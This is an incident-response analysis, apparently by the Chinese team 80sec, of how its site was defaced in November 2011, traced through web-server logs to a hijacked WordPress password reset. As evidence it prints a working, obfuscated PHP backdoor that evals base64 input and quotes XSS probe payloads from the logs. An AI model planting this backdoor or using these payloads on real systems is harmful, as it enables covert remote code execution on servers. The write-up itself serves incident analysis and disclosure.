[ 目录 ]
0×00 事件背景
0×01 应急响应
0×02 事件分析
0×03 事件启示
0×04 总结

0×00 事件背景

在感恩节的晚上,我们的站点遭遇了***,几名未知性别的***成功涂改掉了我们的首页,事情发生后很多朋友对我们被***的原因和经过都很关心,各种猜测都有,加上我们后续对于这次***的分析结果来看,我们觉得整次***和事后应急及分析的过程都适合作为一次典型的案例分析,把整件事情披露出来无论是对我们还是对业界会非常有意义,***者给我们在感恩节送了这么好的礼物,我们要好好接受才对:)

0×01 应急响应

事件发生之后的一段时间我们登录到服务器,由于首页替换的时间很短暂,我们甚至没有抓到截图,开始甚至都怀疑是ARP欺骗或者是DNS劫持之类的***,但是作为应急响应的箴言之一,我们最好不要相信猜测,一切以日志分析为主,一旦猜测我们从开始就输了。
我们知道在webserver的日志里记录了几乎所有有价值的信息,我们后续的检测必须依赖于日志,所以建议各位日志没开的同学先把日志打开并且保存足够长的时间,在这个有价值的信息里,我们第一个需要找准的就是***发生的具体时间点,因为我们是首页被黑并且时间较短,我们迅速stat了下首页文件的内容,发现完全正常没有任何改变:

File: `/home/jianxin/80sec.com/public_html/index.php’
Size: 397 Blocks: 8 IO Block: 4096 regular file
Device: ca00h/51712d Inode: 579843 Links: 1
Access: (0644/-rw-r–r–) Uid: ( 1001/ jianxin) Gid: ( 1001/ jianxin)
Access: 2011-07-13 04:16:57.000000000 +0800
Modify: 2011-07-13 04:16:55.000000000 +0800
Change: 2011-10-14 17:43:32.000000000 +0800

我们知道在linux系统下面的ctime会需要权限较高才能修改,而我们的系统是最新的patch,据我们了解也应该不存在使用未公开的漏洞来***我们的可能,毕竟我们只是一个技术站点,难道真的是ARP或者是Dns劫持么?在webserver的log里有一个选项记录了这一次请求所传递的数据量,我们对比了下发现,的确在某个时间首页的数据量有一个显著的减少:

173.234.184.45 – - [24/Nov/2011:20:44:13 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24″
218.213.229.74 – - [24/Nov/2011:20:44:26 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152;

为676字节,而一般的请求大小为

98.142.220.112 – - [25/Nov/2011:00:39:32 +0800] “GET / HTTP/1.1″ 200 31831 “-” “curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15″

31831字节,我们可以确认webserver的确出现了问题,***者的确能够控制我们的首页显示,到这里我们基本可以确定***时间和***的源IP了,当你被黑了的时候,第一个访问那个页面的基本就是***者本人,他们会迫不及待的来看***成果:)
既然服务器有问题了,那我们来看看今天有什么文件被修改了:

find /home/ -ctime 1

立刻我们就发现了一些好玩的东西:

session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

看来这就是那只后门了,写到了一个全局可写的缓存文件里,而且特意做了隐藏,基本是正常的代码也不触发什么关键字,那么问题在于这么一些可爱的代码是怎么到我的服务器上的呢?这个后门我们发现最早出现的时间并不是在80sec里,而是在同一服务器上一个80sec童鞋的Blog里,最早的时间可以追朔到

218.213.229.74 - - [24/Nov/2011:00:12:56 +0800] "GET /wp-content/wp-cache-config.php HTTP/1.1" 200 308 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2"

ip似乎也比较吻合,那么似乎假设如果没有猜错的话,第一个被***的目标应该是这个很勺的80sec童鞋的Blog才对,那么是如何***的呢?我们将日志里与这个ip相关的抽取出来

218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /my HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /User_Login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /conf HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /Test HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /houtai HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /user_login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /sys HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /news_admin HTTP/1.1" 404 7978 "-" "-"

***很早就发生了,甚至还使用了

218.213.229.74 - - [16/Nov/2011:20:29:10 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:12 +0800] "GET /?s= HTTP/1.0″ 200 8620 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=t>alert(1499328686)%3Bt> HTTP/1.0″ 200 8667 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET / HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p=t>alert(812396909)%3Bt> HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%28990417228%29%3B%22%3E HTTP/1.0″ 200 8586 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s= HTTP/1.0″ 200 8777 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?s= HTTP/1.0″ 200 8816 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?p=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%288013950%29%3B%22%3E HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET / HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”

一个web扫描工具对站点进行了详细的扫描,连一个功能简单的开源blog都不放过,可以猜测对一般的站点每天要遭受多少蹂躏,最后***者开始找回密码

218.213.229.74 – - [19/Nov/2011:05:25:39 +0800] “GET /wp-admin/p_w_picpaths/button-grad-active.png HTTP/1.1″ 200 575 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:25:40 +0800] “POST /wp-login.php HTTP/1.1″ 200 2155 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:01 +0800] “POST /wp-login.php HTTP/1.1″ 200 2156 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:03 +0800] “GET /wp-login.php?action=lostpassword HTTP/1.1″ 200 1741 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:19 +0800] “POST /wp-login.php?action=lostpassword HTTP/1.1″ 200 2106 “http://sex1986.com/wp-login.php?action=lostpassword” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″

最后,***者的确成功的取回了密码,然后通过这个密码进入了后台,后台的功能比较丰富然后上传了后门,在清楚***者的手法之后我们很快定位了原因和进行了处理,我们的服务器以较低身份运行,而程序文件权限是以属主身份运行,所以整个web目录不可写,较好的控制了***的范围,在对***者放置在各个角落里的后门处理之后,我们修改相应密码恢复了站点的运行;

0×02 事件分析

我们讨论一次***事件,必须要清楚相应的目的,在恢复站点运行之后,我们分析了***者所有的动作,大概可以总结如下这次***更像是针对wooyun.org的一次***,因为wooyun.org近期的一些事情被迁移到日本的vps,所以这可能是一次长期的持久的******,专业点称为APT***,但是由于代码逻辑完全不在这台服务器上,所以***者失败了。
***者在取回邮箱密码的时候手法值得怀疑,尽管整个事件的源头是由于某个很勺的80sec童鞋,这位童鞋虽然很勺,但是绝对不使用弱口令也不会使用生日密码(我们的安全意识不像传闻的那样弱),同时这位悲催的童鞋有两个邮箱,一个邮箱是wordpess的密码找回邮箱!另外一个邮箱同样也是这个wordpress密码邮箱的密码找回邮箱!wordpess和两个邮箱的安全关联层层相扣!未知性别的感恩节***者采用读心术控制了我们这位很纯洁的童鞋的最后一个关键邮箱,在没有漏洞的情况下***进了服务器,得到了大家上面所看到的结果,很伟大,不是么?
通过一段时间的关联分析,我们发现与这次***相关的人都可能遭受到不同程度的牵连,包括曾经在80sec.com上注册的不少用户都通过邮箱找回了密码,而***的来源与此次***者正好相同,这里最大的问题在于,谁能够同时拥有这么多邮箱,包括163,hotmail以及gmail的密码,我们有理由相信这次***与国内很多大型社区的数据库失窃,与传闻的某邮箱数据库失窃有关。
***者所使用的后门开始有意识的进行躲避和查杀,如果不是***者通过缓存直接修改了首页,那么这次***可能隐蔽得更深更长时间,所造成的危害可能更大,对于80sec而言,我们所有的文档和技术都在站点进行分享,并没有安全级别要求较高的数据,所以可能影响不大,但是对于一些包含重要数据的企业和网站而言,同时我们事后发现***者所使用的IP是一家站点,很可能该家站点已经被攻陷作为跳板,如何在***发生和尝试发生时发现和阻止将是一件很有挑战的事情。

0×03 事件启示

在这件事情里,我们觉得对我们最有意义包括两点,一点是现有互联网认证机制的崩溃,这主要表现在目前的互联网的认证是基于电子邮件的认证,电子邮件在各个企业和互联网公司都被用作标识用户身份,而经过近几年***一轮又一轮的洗礼,目前国内互联网企业里含有较大用户基数的站点都可能已经沦陷,而在即使知道自己用户数据库被窃取之后大多数的企业基于自身利益原因还是会保持沉默。***在攒积大量的用户密码之后,就可以使得基于账户密码,基于邮箱认证的现有安全认证机制失效,这已经是现有互联网企业的灾难,请想想你们企业内部邮箱是否对外,以及邮箱是否是静态密码,如果邮箱是内部,那么×××呢,而这种安全机制的失效又称为***者攒积新的数据库的基础,形成一个巨大的黑色雪球,彻底瓦解互联网安全。
另外一部分是关于apt***的,理论上我们只要有一个目标,基本是没有攻破不了的,特别是对于大企业而言,架构的改动,IDC的扩充,企业并购和投资都可能为你的安全体系引入新的风险,如何在一个动态的环境下建设一个较为完善的安全体系,这将是安全人员面临的一个巨大挑战,因为从这一次时间里就可以看到,我们并没有因为是存在什么实际的漏洞而导致被***。

0×04 总结

在80sec出现问题之后,不少人猜测是漏洞还是什么原因遭受***,有人怀疑是安全意识问题,也有一些安全厂商询问是否可以通过WAF或者其他的安全产品来避免此次安全事件,不过在事件披露之后,相信大家应该很清楚能否通过现有产品来避免此类的***行为,我们的安全概念需要更新了,不只是漏洞也不只是安全意识了,包括安全的理解,对***的理解都需要有一个全新的认识了,最后欢迎微博上某位产品安全厂商开发出能够保护我们的安全产品,也欢迎***者可以联系到我们看看我们的整个过程的分析是否正确

本站内容均为原创,转载请务必保留署名与链接!
80sec感恩节事件分析:http://www.80sec.com/80sec-attack-defend.html

声明: 本文采用 BY-NC-SA 协议进行授权. 转载请注明转自: 80sec首页被篡改事件分析

转载于:https://blog.51cto.com/chevo/730942

80sec被黑原因分析相关推荐

  1. aoc显示器开机显示计算机,附加aoc显示器开机黑屏的原因分析及解决方法!

    有时我们的aoc监视器打开并且黑屏为黑屏,我们该怎么办?让我们向编辑学习,简要介绍aoc显示器打开时黑屏的原因和解决方案!我希望你喜欢它! 启动时aoc显示屏黑屏的原因分析和解决方法: 1.显示器的V ...

  2. X10服务器主板装系统黑屏,UEFI装系统失败黑屏的原因分析

    经常有网友在使用uefi模式安装完系统会遇到电脑黑屏的问题,这是什么原因导致的呢?今天小编来为大家详细分析UEFI装系统失败黑屏的原因,并教大家如何避免这种现象的发生,大家一起来看看吧. 详细解析: ...

  3. android 动画结束停留,hi3716c-android4.0.3SDK在开机动画片阶段停留很长时间并黑屏不进入launcher原因分析...

    hi3716c-android4.0.3SDK在开机动画阶段停留很长时间并黑屏不进入launcher原因分析 最近基于海思3716c方案的智能机顶盒批量出货了,但出现了意想不到的问题.有少数机顶盒在开 ...

  4. 计算机黑屏的原因及解决办法,导致电脑黑屏的两个常见的原因分析与解决办法_电脑故障...

    导致电脑黑屏的两个常见的原因分析与解决办法_电脑故障 2017年04月21日 阅读 192 电脑黑屏故障的原因有很多种,有时很简单的一个差失就会导致,找到原因后才恍然大悟.下面就是一个电脑黑屏的案例分 ...

  5. 联想微型计算机开机黑屏什么原因,联想笔记本电脑开机黑屏的现象及原因分析...

    联想笔记本电脑开机黑屏的现象有很多种,根据这些现象,我们就可以判断问题所在,就容易解决了,下面小编整理了几种常见的现象及原因分析,供大家参考. 现象一:玩游戏的时候出现乱码,条纹,运行其他程序没问题, ...

  6. 计算机登陆用户显示黑屏,win7系统电脑开机输入登录账号密码后出现黑屏的原因分析及两种解决方法...

    一位用户说win7开机输入登录账号密码后出现黑屏,这是怎么回事呢?这种情况怎么解决呢?下面脚本之家的小编就带来win7系统电脑开机输入登录账号密码后出现黑屏的原因分析及解决方法,一起来看看吧. 故障原 ...

  7. getparameter方法中文显示问号解决方法_电脑显示器花屏怎么办 电脑显示器花屏解决方法【原因分析】...

    本文告诉大家电脑显示器花屏怎么办呢,电脑显示器花屏解决方法和原因分析: 指电脑屏幕上有与常色不同的条纹,斑点或色块,或有位置颠倒.错乱,屏幕抖动.扭曲等情况. 显示器花屏是极其常见的故障,产生的原因有 ...

  8. Windows变慢原因分析及解决方法·系统篇

    Windows变慢原因分析及解决方法·系统篇 系统加速 一 [Windows 98 ] 1.不要加载太多随机启动程序 不要在开机时载入太多不必要的随机启动程序.选择"开始→程序→附件→系统工 ...

  9. Windows 变慢原因分析及解决方法

    Windows变慢原因分析及解决方法 谁都希望计算机一开机就可以立即进入Windows系统而不用等待,或者是系统在使用的时候不会越来越慢,但由于种种原因常常使这些愿望不能实现,甚至一开机就死机或者用着 ...

  10. Windows 2003 变慢原因分析及解决

    Windows 2003 变慢原因分析及解决方法 现在最新的微软操作系统是Win Server 2003.它是对应服务器的,现在有越来越多有朋友都升级到Windows 2003,安装之后大家发现没有, ...

最新文章

  1. 解决Mask RCNN自己航拍数据集训练的问题
  2. SAP WM 2-Step Picking的TO单据特殊的地方
  3. Why I Love My Virtual PCs
  4. 算法导论 c语言,算法导论 之 堆排序[C语言]
  5. uni-app目录结构介绍
  6. Ubuntu 12.04 MTK环境配置说明
  7. datatable的查询介绍
  8. Android7.0无需FileProvide搞定URI拍照、应用安装问题
  9. Matlab中S-函数的编写
  10. Maxwell 介绍
  11. POJ3345 Bribing FIPA(树形DP)
  12. 【数学和算法】加权平均法
  13. PageOffice国产版的授权及离线注册
  14. 脉冲神经网络SNN的简介
  15. hive计算周是一年的第几周
  16. OSChina 周日乱弹 —— 进入读图时代
  17. 曾被诉“抄袭”,头条搜索想要突围有点难
  18. Linux中update和upgrade的区别
  19. Excel 多列条件查找
  20. Java开发 - 布隆过滤器初体验

热门文章

  1. paip.docfile二进制复合文档
  2. 2021信创产业分类排行
  3. 范华:资产配置是非常客户化的过程
  4. 从 CTA 趋势策略的表现看量化投资面临的挑战
  5. 一段程序看懂比特币原理
  6. (转)去中心化:关于区块链的争论
  7. eBPF Internal: Instructions and Runtime | 凌云时刻
  8. ZStack 3.6.0发布:支持云主机从KVM云平台在线迁移至ZStack
  9. 一文看懂:边缘计算究竟是什么?为何潜力无限?(下)
  10. iis swagger 部署_AspNet Core Api Restful +Swagger 发布IIS 实现微服务之旅 (二)